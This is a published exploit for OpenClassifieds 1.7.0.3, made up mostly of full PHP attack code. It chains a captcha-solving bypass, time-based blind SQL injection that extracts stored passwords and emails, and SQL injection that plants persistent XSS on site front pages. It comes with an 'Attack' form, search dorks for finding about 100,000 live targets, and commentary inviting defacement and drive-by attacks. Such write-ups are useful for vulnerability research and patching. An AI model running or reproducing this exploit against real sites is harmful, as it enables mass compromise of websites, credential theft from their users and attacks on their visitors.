Multiple Vulnerabilities in OpenClassifieds 1.7.0.3

I understand that this is a vain hope that bugtraq will start posting something useful.

Author:Michael Brooks (Rook)<br>
Application:OpenClassifieds 1.7.0.3<br>
download: http://open-classifieds.com/download/&lt;br&gt;
Exploit chain:captcha bypass->sqli(insert)->persistant xss on front page<br>
If registration is required an extra link in the chain is added:<br>
Exploit chain:blind sqli(select)->captcha bypass->sqli(insert)->persistant xss on front page<br>
sites with SEO url's enabled:<br>
"powered by Open Classifieds" inurl:"publish-a-new-ad.htm" (85,000 results)<br>
or default urls:<br>
"powered by Open Classifieds" inurl:"item-new.php" (16,500 results)<br>
Total sites: ~100,000<br>
<br>
<br>
The target must be a link to the document root of OpenClassifieds<br>
(If the exploit doesn't immediately reload then blind sqli is required, which will take a few minutes ;)<br>
<form>
Target:&nbsp;&nbsp;<input size=128 name=target value="http://localhost/&quot;&gt;&lt;br&gt;
Payload:<input size=128 name=xss value="<script>alert('xss')</script>"><br>
<input type=submit value="Attack">
</form><br>
<?php
/*
Foreword:
I have always wanted to write a chained exploit with a captcha bypass, so I couldn't miss this
opportunity. I spent a bit more effort on this exploit even though there aren't very many hits (around
100k starts to be worth while). Regardless, I dug into the application and pulled out the vulnerabilities
needed to Finnish my masterpiece. Usually when I write a Remote Code Execution exploit for a web
app you guys just deface the site or throw up drive-by attacks. So I figured, persistent XSS on the
front page is equally as valuable, especially with yet another IE 0-day in the wild. The chain is within
the application its self. Process sand-boxing like chroot/AppArmor/SELinux/Application-V(MS)
doesn't come into play. It works regardless of the operating system or configurations (Suhosin,
safemode, magic_quotes_gpc and register_globals doesn't come into play). I focused on the
application's internal configurations that could break the exploitation process. In this case seo friendly
urls and requiring an account before posting.

"This web application [OpenClassifieds] is developed to be fast, light, secure and SEO friendly."
Usually when I see that an application claims to be secure, they really don't know what the fuck they
are doing. OpenClassifieds' Security model is deeply flawed and as a result there are MANY
vulnerabilities in this code base which allowed me to string a few cool ones together to make an
interesting exploit. OpenClassifieds is sanitizing everything on input using cG() and cP(), these
functions are used to perform a mysql_real_escape_string() on all GET and POST variables. Most
servers aren't using an exotic character set so from a security stand point this is exactly identical to
magic_quotes_gpc. So I dusted off my usual magic_quotes_gpc auditing tricks, look for
stripslashes(),base64decode(),urldecode(),html_entity_decode() lack of quote marks around variables
in a query, ect… Sanitation must ALWAYS be done at the time of use, parametrized queries are a
good example of this. Its impossible to account for all the ways a variable can be mangled once it
enters a program and if you Sanitize input when it first enters the program there will be cases where it
will become dangerous again. This isn't only a problem for SQLi, its also a problem for XSS. I am
inserting JS into the database, which isn't a vulnerablity, but printing it, is persistant XSS.

The blind sql injection is a bit strange. I can't use white space or commas, which is a pain. I had to
rewrite my general purpose Blind SQLi Class to accommodate. A binary search is used to greatly
speed up the blind sqli attack.
(which I also used in my php-nuke exploit: http://www.exploit-db.com/exploits/12510/&#41;

Special thanks to Reiners for this sqli filter evasion cheat sheet:
http://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/
Here are some changes I had to make to my blind sql injection class:
"select substring('abc',1,1)"=>"select substring('abc' from 1 for 1)"
if(greatest(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)" =>"case ".sprintf($question,"0+".$cur).">".$pos." when true then
sleep(".$this->timeout.") end"

CWE Violations leveraged by this exploit:
CWE-256: Plaintext Storage of a Password
CWE-804: Guessable CAPTCHA (I asked that they create this CWE when I ran into a guy that works for Mitre.)
CWE-89: SQL Injection x2
CWE-79: Cross-site Scripting (Persistant)

Vulnerable captcha:
openclassifieds/includes/common.php line 291
function encode_str ($input){//converts the input into Ascii HTML, to ofuscate a bit
for ($i = 0; $i < strlen($input); $i++) {
$output .= "&#".ord($input[$i]).';';
}
//$output = htmlspecialchars($output);//uncomment to escape sepecial chars
return $output;
}

function mathCaptcha(){//generates a captcha for the form
$first_number=mt_rand(1, 94);//first operation number
$second_number=mt_rand(1, 5);//second operation number

    $_SESSION["mathCaptcha"]=($first_number+$second_number);//operation result

    $operation=" <b>".encode_str($first_number ." + ". $second_number)."</b>?";//operation codifieds

    echo _("How much is")." ".$operation;

}

Vulnerable persistant xss and sqli
/content/item-new.php line 41
$ocdb->insert(TABLE_PREFIX."posts (idCategory,type,title,description,price,idLocation,place,name,email,phone,password,ip,hasImages)","".

cP("category").",".cP("type").",'$title','$desc',$price,$location,'".cP("place")."','".cP("name")."','$email','".cP("phone")."','$post_password','$client_ip',$hasImages");

*/
set_time_limit(0);
error_reporting(0);

function main(){
if($_REQUEST['target'] && $_REQUEST['xss']){
if(xssFrontPage($_REQUEST['target'],$_REQUEST['xss'])){
print("<b>Persistant XSS attack was sucessful.</b>");
}else{
print("<b>Persistant XSS attack has failed.</b>");
}
}
}

//w00t, I can crack your captcha with 4 lines of code!
//It would have been 3 if i had used eval(), but that would be a vulnerability ;)
function breakCaptcha($page){
preg_match("/\<b\>(.*)\<\/b\>\?/",$page,$match);
$code=html_entity_decode($match[1]);
$math=new EvalMath();
return $math->evaluate($code);
}

function xssFrontPage($url,$xss){
$h=new http_client();
$page=$h->send($url."/content/item-new.php");
#Authentication required.
if(strstr($page,'Location: http')){#Do we need authentication?
print "Blind SQL Injection required.<br>";
$sex=new openclassifieds_blind_sql_injection($url."/");
if($sex->test_target()){
print "Target is vulnerable to attack!<br>";
$pass=$sex->find_string("password");
print "Found Password:<b>$pass</b><br>";
$email=$sex->find_string("email");
print "Found email:<b>$email</b><br>";
$h->postdata="email=$email&password=$pass&submit=loading…";
$h->send($url."/content/account/login.php");
$h->postdata='';
$page=$h->send($url."/");
}else{
die("This target is not exploitable!<br>");
}
}else{
$email="[email protected]";
}
$code=breakCaptcha($page);
$payload=blind_sql_injection::charEncode($xss);
$pwd=mt_rand(1,9999999);//Strong password :p
$fake_phone=mt_rand(1111111111,9999999999);
$fake_email=blind_sql_injection::charEncode(mt_rand()."@".mt_rand().".com");
$fake_ip=blind_sql_injection::charEncode(mt_rand(20,254).".".mt_rand(20,254).".".mt_rand(20,254).".".mt_rand(20,254));
//Stored xss in the description,place and name columns.

$inj="36,".mt_rand(1,20).",".$payload.",".mt_rand().",".mt_rand(2,500).",".mt_rand(1,10).",".mt_rand().",".mt_rand().",".$fake_email.",".$fake_phone.",".$pwd.",".$fake_ip.",0)#";
$h->postdata="category=".$inj."&type=0&place=home&title=title&price=1&description=desc&name=name&email=".$email."&math=".$code;
$h->send($url."/content/item-new.php");
$h->postdata='';
//I could use sql injection to find the id, but thats noisy and slow.
$rss=$h->send($url."/content/feed-rss.php");
//seo friendly
if(preg_match("/\-(.)\.htm\<\/link\>/",$rss,$match)){
$guess=$match[1];
}else if(preg_match("/item\=(.)\&type/",$rss,$match)){
$guess=$match[1];
}else{
$guess=0;
}
$guess++;
$page='';
$test=false;
#Now lets activate the XSS post.
for($x=$guess;$x-$guess<=128&&!$test;$x++){
$page=$h->send($url."/content/item-manage.php?pwd=".$pwd."&post=".$x."&action=confirm");
$test=strstr($page,"<script language='JavaScript' type='text/javascript'>alert('");
}
return $test;
}

//http://localhost/openclassifieds/?location=&#37;26&#37;23039;/**/or/**/sleep&#40;10&#41;/**/or/**/1=&#37;26&#37;23039;
//The blind_sql_injeciton calss is a general exploit framework that we are inheriting.
class openclassifieds_blind_sql_injection extends blind_sql_injection {
//This is the blind sql injection request.
function query($check){
//build the http request to Inject a query:
//"%26%23039;" is a single quote encoded with urlencode(htmlencode("'",ENT_QUOTES));
$payload="%26%23039; or (select ".$check." from oc_accounts where active=1 limit 1) or 1=%26%23039;";
#white space becomes and underscore "_" so it must be replaced.
$payload=str_replace(" ","/**/",$payload);
$this->set_get("location=".$payload);
}
}

//This is a very efficient blind sql injection class.
class blind_sql_injection{
var $url, $backup_url, $result, $http, $request_count, $timeout;
function blind_sql_injection($url,$timeout=10){
$this->request_count=0;
$this->url=$url;
$this->backup_url=$url;
$this->http=new http_client();
$this->timeout=$timeout;
}
function set_get($get){
$this->url=$this->url."?".$get;
}
function set_referer($referer){
$this->http->referer=$referer;
}
function set_post($post){
$this->http->postdata=$post;
}
function test_target(){
return $this->send("case true when true then sleep(".$this->timeout.") when false then sleep(0) end")&&!$this->send("case false when true then
sleep(".$this->timeout.") when false then sleep(0) end");
#return $this->send("if(true,sleep(".$this->timeout."),0)")&&!$this->send("if(false,sleep(".$this->timeout."),0)");
}
function num_to_hex($arr){
$ret='';
foreach($arr as $a){
if($a<=9){
$ret.=$a;
}else{
$ret.=chr(87+$a);
}
}
return $ret;
}
###These where not ported to the non-comma version.
//Looking for a string of length 32 and base 16 in ascii chars.
#function find_md5($column){
# return $this->num_to_hex($this->bin_finder(16,32,"conv(substring($column,%s,1),16,10)"));
#}
#function find_sha1($column){
# return $this->num_to_hex($this->bin_finder(16,40,"conv(substring($column,%s,1),16,10)"));
#}
//Look for an ascii string of arbitrary length.
function find_string($column){
$ret='';
//A length of zero means we are looking for a null byte terminated string.
$result=$this->bin_finder(128,0,"ascii(substring($column from %s for 1))");
foreach($result as $r){
$ret.=chr($r);
}
return strrev($ret);
}
//query() is a method that generates the sql injection request
function query($check){
//This function must be overridden.
}
function recheck($result,$question,$base){
$this->bin_finder($base,1,$question,$start);
//Force a long timeout.
$tmp_timeout=$this->timeout;
if($this->timeout<10){
$this->timeout=10;
}else{
$this->timeout=$this->timeout*2;
}
$l=1;
foreach($result as $r){
if($this->send("if(".sprintf($question,$l)."!=".$r.",sleep(".$this->timeout."),0)")){
$result[]=$b;
break;
}
$l++;
}
$this->timeout=$tmp_timeout;
}
function linear_finder($base,$length,$question){
for($l=1;$l<=$length;$l++){
for($b=0;$b<$base;$b++){
if($this->send("if(".sprintf($question,$l)."=".$b.",sleep(".$this->timeout."),0)")){
$result[]=$b;
break;
}
}
}
}
#Binary search for mysql based sql injection.
function bin_finder($base,$length,$question){
$start_pos=1;
$result='';
for($cur=$start_pos;$cur<=$length||$length==0;$cur++){
$n=$base-1;
$low=0;
$floor=$low;
$high=$n-1;
$pos= $low+(($high-$low)/2);
$found=false;
while($low<=$high&&!$found){
#asking the sql database if the current value is greater than $pos
if($this->send("case ".sprintf($question,"0+".$cur).">".$pos." when true then sleep(".$this->timeout.") end")){
#if($this->send("if(greatest(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)")){
#if this is true then the value must be the modulus.
if($pos==$n-1){
$result[]=$pos+1;
$found=true;
}else{
$low=$pos+1;
}
#asking the sql database if the current value is less than $pos
}else if($this->send("case ".sprintf($question,"0+".$cur)."<".$pos." when true then sleep(".$this->timeout.") end")){
#}else if($this->send("if(least(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)")){
#if this is true the value must be zero, or in the case of ascii, a null byte.
if($pos==$floor+1){
$found=true;
#We have found the null terminator so we have finnished our search for a string.
if($length==0){
$length=-1;
}else{
$result[]=$pos-1;
}
}else{
$high=$pos-1;
}
}else{
#both greater than and less then where asked, so so then the answer is our guess $pos.
$result[]=$pos;
$found=true;
}
$pos=$low+(($high-$low)/2);
}
print(".");
}
return $result;
}
//Fire off the request
function send($quesiton){
//build the injected query.
$this->query($quesiton);
$start=time();
$resp=$this->http->send($this->url);
//backup_url is for set_get()
$this->url=$this->backup_url;
$this->request_count++;
return (time()-$start>=$this->timeout);
}
//retroGod RIP
function charEncode($string){
$char="char(";
$size=strlen($string);
for($x=0;$x<$size;$x++){
$char.=ord($string[$x]).",";
}
$char[strlen($char)-1]=")%00";
return $char;
}
}

//General purpose http client that works on a default php install. (curl not required)
class http_client{
var $proxy_ip='', $proxy_port='', $proxy_name='', $proxy_pass='', $referer='',$cookie='',$postdata='';
function send($loc){
//overload function polymorphism between gets and posts
$url=parse_url($loc);
if(!isset($url['port'])){
$url['port']=80;
}
$ua='Firefox';
if($this->proxy_ip!=''&&$this->proxy_port!=''){
$fp = pfsockopen( $this->proxy_ip, $this->proxy_port, &$errno, &$errstr, 120 );
$url['path']=$url['host'].':'.$url['port'].$url['path'];
}else{
$fp = fsockopen( $url['host'], $url['port'], &$errno, &$errstr, 120 );
}
if( !$fp ) {
print "$errstr ($errno)<br>\nn";
return false;
} else {
if(@!$url['query']){
$url['query']='';
}
if( $this->postdata=='' ) {
$request="GET ".$url['path']."?".$url['query']." HTTP/1.1\r\n";
} else {
$request="POST ".$url['path']."?".$url['query']." HTTP/1.1\r\n";
}
if($this->proxy_name!=''&&$this->proxy_pass!=''){
$request.="Proxy-Authorization: Basic ".base64_encode($this->proxy_name.":".$this->proxy_pass)."\r\n\r\n";
}
$request.="Host: ".$url['host'].":".$url['port']."\r\n";
$request.="User-Agent: ".$ua."\r\n";
$request.="Accept: text/plain\r\n";
if($this->referer!=''){
$request.="Referer: ".$this->referer."\r\n";
}
$request.="Connection: Close\r\n";
if($this->cookie!=''){
$request.="Cookie: ".$this->cookie."\r\n" ;
}
if( $this->postdata!='' ) {
$strlength = strlen( $this->postdata );
$request.="Content-type: application/x-www-form-urlencoded\r\n" ;
$request.="Content-length: ".$strlength."\r\n\r\n";
$request.=$this->postdata;
}
fputs( $fp, $request."\r\n\r\n" );
$output='';
while( !feof( $fp ) ) {
$output .= fgets( $fp, 1024 );
}
fclose( $fp );
$header=explode("\r\n\r\n",$output);
if(strstr($header[0],"Set-Cookie: ") && $this->cookie==''){
$cookie=explode("Set-Cookie: ",$header[0]);
$cookie=explode("\n",$cookie[1]);
$cookie=explode(";",$cookie[0]);
$this->cookie=trim($cookie[0]);
}
if(strstr($output,"Query:")){
die($output);
}
return $output;
}
}
//Use a http proxy
function proxy($proxy){ //user:pass@ip:port
$proxyAuth=explode('@',$proxy);
if(isset($proxyAuth[1])){
$login=explode(':',$proxyAuth[0]);
$this->proxy_name=$login[0];
$this->proxy_pass=$login[1];
$addr=explode(':',$proxyAuth[1]);
}else{
$addr=explode(':',$proxy);
}
$this->proxy_ip=$addr[0];
$this->proxy_port=$addr[1];
}
//Parses the results from a PHP error to use as a path disclosure.
function getPath($url,$pops=1){
$html=$this->send($url);
//Regular error reporting:
$resp=explode("array given in <b>",$html);
if(isset($resp[1])){
$resp = explode("</b>",$resp[1]);
}else{
//xdebug's error reporting:
$resp=explode("array given in ",$html);
if(isset($resp[1])){
$resp = explode(" ",$resp[1]);
}else{
$resp[0]=false;
}
}
$path=$resp[0];
//Can't use dirname()
if(strstr($path,"\\")){
$p=explode("\\",$path);
for($x=0;$x<$pops;$x++){
array_pop($p);
}
$path=implode("\\",$p);
}else{
$p=explode("/",$path);
for($x=0;$x<$pops;$x++){
array_pop($p);
}
$path=implode("/",$p);
}
return $path;
}
//Grab the server type from the http header.
function getServer($url){
$resp=$this->send($url);
$header=explode("Server: ",$resp);
$server=explode("\n",$header[1]);
return $server[0];
}
}

#used to evaluate the captcha. 1+2=3
class EvalMath {

            var $suppress_errors = false;
            var $last_error = null;

            var $v = array('e'=>2.71,'pi'=>3.14); // variables (and constants)
            var $f = array(); // user-defined functions
            var $vb = array('e', 'pi'); // constants
            var $fb = array(  // built-in functions
                    'sin','sinh','arcsin','asin','arcsinh','asinh',
                    'cos','cosh','arccos','acos','arccosh','acosh',
                    'tan','tanh','arctan','atan','arctanh','atanh',
                    'sqrt','abs','ln','log');

            function EvalMath() {
                    // make the variables a little more accurate
                    $this->v['pi'] = pi();
                    $this->v['e'] = exp(1);
            }

            function e($expr) {
                    return $this->evaluate($expr);
            }

            function evaluate($expr) {
                    $this->last_error = null;
                    $expr = trim($expr);
                    if (substr($expr, -1, 1) == ';') $expr = substr($expr, 0, strlen($expr)-1); // strip semicolons at the end
                    //===============
                    // is it a variable assignment?
                    if (preg_match('/^\s*([a-z]\w*)\s*=\s*(.+)$/', $expr, $matches)) {
                            if (in_array($matches[1], $this->vb)) { // make sure we're not assigning to a constant
                                    return $this->trigger("cannot assign to constant '$matches[1]'");
                            }
                            if (($tmp = $this->pfx($this->nfx($matches[2]))) === false) return false; // get the result and make sure it's good
                            $this->v[$matches[1]] = $tmp; // if so, stick it in the variable array
                            return $this->v[$matches[1]]; // and return the resulting value
                    //===============
                    // is it a function assignment?
                    } elseif (preg_match('/^\s*([a-z]\w*)\s*\(\s*([a-z]\w*(?:\s*,\s*[a-z]\w*)*)\s*\)\s*=\s*(.+)$/', $expr, $matches)) {
                            $fnn = $matches[1]; // get the function name
                            if (in_array($matches[1], $this->fb)) { // make sure it isn't built in
                                    return $this->trigger("cannot redefine built-in function '$matches[1]()'");
                            }
                            $args = explode(",", preg_replace("/\s+/", "", $matches[2])); // get the arguments
                            if (($stack = $this->nfx($matches[3])) === false) return false; // see if it can be converted to postfix
                            for ($i = 0; $i<count($stack); $i++) { // freeze the state of the non-argument variables
                                    $token = $stack[$i];
                                    if (preg_match('/^[a-z]\w*$/', $token) and !in_array($token, $args)) {
                                            if (array_key_exists($token, $this->v)) {
                                                    $stack[$i] = $this->v[$token];
                                            } else {
                                                    return $this->trigger("undefined variable '$token' in function definition");
                                            }
                                    }
                            }
                            $this->f[$fnn] = array('args'=>$args, 'func'=>$stack);
                            return true;
                    //===============
                    } else {
                            return $this->pfx($this->nfx($expr)); // straight up evaluation, woo
                    }
            }

            function vars() {
                    $output = $this->v;
                    unset($output['pi']);
                    unset($output['e']);
                    return $output;
            }

            function funcs() {
                    $output = array();
                    foreach ($this->f as $fnn=>$dat)
                            $output[] = $fnn . '(' . implode(',', $dat['args']) . ')';
                    return $output;
            }

            //===================== HERE BE INTERNAL METHODS ====================\\

            // Convert infix to postfix notation
            function nfx($expr) {

                    $index = 0;
                    $stack = new EvalMathStack;
                    $output = array(); // postfix form of expression, to be passed to pfx()
                    $expr = trim(strtolower($expr));

                    $ops   = array('+', '-', '*', '/', '^', '_');
                    $ops_r = array('+'=>0,'-'=>0,'*'=>0,'/'=>0,'^'=>1); // right-associative operator?  
                    $ops_p = array('+'=>0,'-'=>0,'*'=>1,'/'=>1,'_'=>1,'^'=>2); // operator precedence

                    $expecting_op = false; // we use this in syntax-checking the expression
                                                               // and determining when a - is a negation

                    if (preg_match("/[^\w\s+*^\/()\.,-]/", $expr, $matches)) { // make sure the characters are all good
                            return $this->trigger("illegal character '{$matches[0]}'");
                    }

                    while(1) { // 1 Infinite Loop ;)
                            $op = substr($expr, $index, 1); // get the first character at the current index
                            // find out if we're currently at the beginning of a number/variable/function/parenthesis/operand
                            $ex = preg_match('/^([a-z]\w*\(?|\d+(?:\.\d*)?|\.\d+|\()/', substr($expr, $index), $match);
                            //===============
                            if ($op == '-' and !$expecting_op) { // is it a negation instead of a minus?
                                    $stack->push('_'); // put a negation on the stack
                                    $index++;
                            } elseif ($op == '_') { // we have to explicitly deny this, because it's legal on the stack 
                                    return $this->trigger("illegal character '_'"); // but not in the input expression
                            //===============
                            } elseif ((in_array($op, $ops) or $ex) and $expecting_op) { // are we putting an operator on the stack?
                                    if ($ex) { // are we expecting an operator but have a number/variable/function/opening parethesis?
                                            $op = '*'; $index--; // it's an implicit multiplication
                                    }
                                    // heart of the algorithm:
                                    while($stack->count > 0 and ($o2 = $stack->last()) and in_array($o2, $ops) and ($ops_r[$op] ? $ops_p[$op] < $ops_p[$o2] :

$ops_p[$op] <= $ops_p[$o2])) {
$output[] = $stack->pop(); // pop stuff off the stack into the output
}
// many thanks: http://en.wikipedia.org/wiki/Reverse_Polish_notation#The_algorithm_in_detail
$stack->push($op); // finally put OUR operator onto the stack
$index++;
$expecting_op = false;
//===============
} elseif ($op == ')' and $expecting_op) { // ready to close a parenthesis?
while (($o2 = $stack->pop()) != '(') { // pop off the stack back to the last (
if (is_null($o2)) return $this->trigger("unexpected ')'");
else $output[] = $o2;
}
if (preg_match("/^([a-z]\w*)\($/", $stack->last(2), $matches)) { // did we just close a function?
$fnn = $matches[1]; // get the function name
$arg_count = $stack->pop(); // see how many arguments there were (cleverly stored on the stack, thank you)
$output[] = $stack->pop(); // pop the function and push onto the output
if (in_array($fnn, $this->fb)) { // check the argument count
if($arg_count > 1)
return $this->trigger("too many arguments ($arg_count given, 1 expected)");
} elseif (array_key_exists($fnn, $this->f)) {
if ($arg_count != count($this->f[$fnn]['args']))
return $this->trigger("wrong number of arguments ($arg_count given, " .
count($this->f[$fnn]['args']) . " expected)");
} else { // did we somehow push a non-function on the stack? this should never happen
return $this->trigger("internal error");
}
}
$index++;
//===============
} elseif ($op == ',' and $expecting_op) { // did we just finish a function argument?
while (($o2 = $stack->pop()) != '(') {
if (is_null($o2)) return $this->trigger("unexpected ','"); // oops, never had a (
else $output[] = $o2; // pop the argument expression stuff and push onto the output
}
// make sure there was a function
if (!preg_match("/^([a-z]\w*)\($/", $stack->last(2), $matches))
return $this->trigger("unexpected ','");
$stack->push($stack->pop()+1); // increment the argument count
$stack->push('('); // put the ( back on, we'll need to pop back to it again
$index++;
$expecting_op = false;
//===============
} elseif ($op == '(' and !$expecting_op) {
$stack->push('('); // that was easy
$index++;
$allow_neg = true;
//===============
} elseif ($ex and !$expecting_op) { // do we now have a function/variable/number?
$expecting_op = true;
$val = $match[1];
if (preg_match("/^([a-z]\w*)\($/", $val, $matches)) { // may be func, or variable w/ implicit multiplication against
parentheses…
if (in_array($matches[1], $this->fb) or array_key_exists($matches[1], $this->f)) { // it's a func
$stack->push($val);
$stack->push(1);
$stack->push('(');
$expecting_op = false;
} else { // it's a var w/ implicit multiplication
$val = $matches[1];
$output[] = $val;
}
} else { // it's a plain old var or num
$output[] = $val;
}
$index += strlen($val);
//===============
} elseif ($op == ')') { // miscellaneous error checking
return $this->trigger("unexpected ')'");
} elseif (in_array($op, $ops) and !$expecting_op) {
return $this->trigger("unexpected operator '$op'");
} else { // I don't even want to know what you did to get here
return $this->trigger("an unexpected error occured");
}
if ($index == strlen($expr)) {
if (in_array($op, $ops)) { // did we end with an operator? bad.
return $this->trigger("operator '$op' lacks operand");
} else {
break;
}
}
while (substr($expr, $index, 1) == ' ') { // step the index past whitespace (pretty much turns whitespace
$index++; // into implicit multiplication if no operator is there)
}

                    } 
                    while (!is_null($op = $stack->pop())) { // pop everything off the stack and push onto output
                            if ($op == '(') return $this->trigger("expecting ')'"); // if there are (s on the stack, ()s were unbalanced
                            $output[] = $op;
                    }
                    return $output;
            }

            // evaluate postfix notation
            function pfx($tokens, $vars = array()) {

                    if ($tokens == false) return false;

                    $stack = new EvalMathStack;

                    foreach ($tokens as $token) { // nice and easy
                            // if the token is a binary operator, pop two values off the stack, do the operation, and push the result back on
                            if (in_array($token, array('+', '-', '*', '/', '^'))) {
                                    if (is_null($op2 = $stack->pop())) return $this->trigger("internal error");
                                    if (is_null($op1 = $stack->pop())) return $this->trigger("internal error");
                                    switch ($token) {
                                            case '+':
                                                    $stack->push($op1+$op2); break;
                                            case '-':
                                                    $stack->push($op1-$op2); break;
                                            case '*':
                                                    $stack->push($op1*$op2); break;
                                            case '/':
                                                    if ($op2 == 0) return $this->trigger("division by zero");
                                                    $stack->push($op1/$op2); break;
                                            case '^':
                                                    $stack->push(pow($op1, $op2)); break;
                                    }
                            // if the token is a unary operator, pop one value off the stack, do the operation, and push it back on
                            } elseif ($token == "_") {
                                    $stack->push(-1*$stack->pop());
                            // if the token is a function, pop arguments off the stack, hand them to the function, and push the result back on
                            } elseif (preg_match("/^([a-z]\w*)\($/", $token, $matches)) { // it's a function!
                                    $fnn = $matches[1];
                                    if (in_array($fnn, $this->fb)) { // built-in function:
                                            if (is_null($op1 = $stack->pop())) return $this->trigger("internal error");
                                            $fnn = preg_replace("/^arc/", "a", $fnn); // for the 'arc' trig synonyms
                                            if ($fnn == 'ln') $fnn = 'log';
                                            eval('$stack->push(' . $fnn . '($op1));'); // perfectly safe eval()
                                    } elseif (array_key_exists($fnn, $this->f)) { // user function
                                            // get args
                                            $args = array();
                                            for ($i = count($this->f[$fnn]['args'])-1; $i >= 0; $i--) {
                                                    if (is_null($args[$this->f[$fnn]['args'][$i]] = $stack->pop())) return $this->trigger("internal error");
                                            }
                                            $stack->push($this->pfx($this->f[$fnn]['func'], $args)); // yay... recursion!!!!
                                    }
                            // if the token is a number or variable, push it on the stack
                            } else {
                                    if (is_numeric($token)) {
                                            $stack->push($token);
                                    } elseif (array_key_exists($token, $this->v)) {
                                            $stack->push($this->v[$token]);
                                    } elseif (array_key_exists($token, $vars)) {
                                            $stack->push($vars[$token]);
                                    } else {
                                            return $this->trigger("undefined variable '$token'");
                                    }
                            }
                    }
                    // when we're out of tokens, the stack should have a single element, the final result
                    if ($stack->count != 1) return $this->trigger("internal error");
                    return $stack->pop();
            }

            // trigger an error, but nicely, if need be
            function trigger($msg) {
                    $this->last_error = $msg;
                    if (!$this->suppress_errors) trigger_error($msg, E_USER_WARNING);
                    return false;
            }
    }

    // for internal use
    class EvalMathStack {

            var $stack = array();
            var $count = 0;

            function push($val) {
                    $this->stack[$this->count] = $val;
                    $this->count++;
            }

            function pop() {
                    if ($this->count > 0) {
                            $this->count--;
                            return $this->stack[$this->count];
                    }
                    return null;
            }

            function last($n=1) {
                    return $this->stack[$this->count-$n];
            }
    }

main();
?>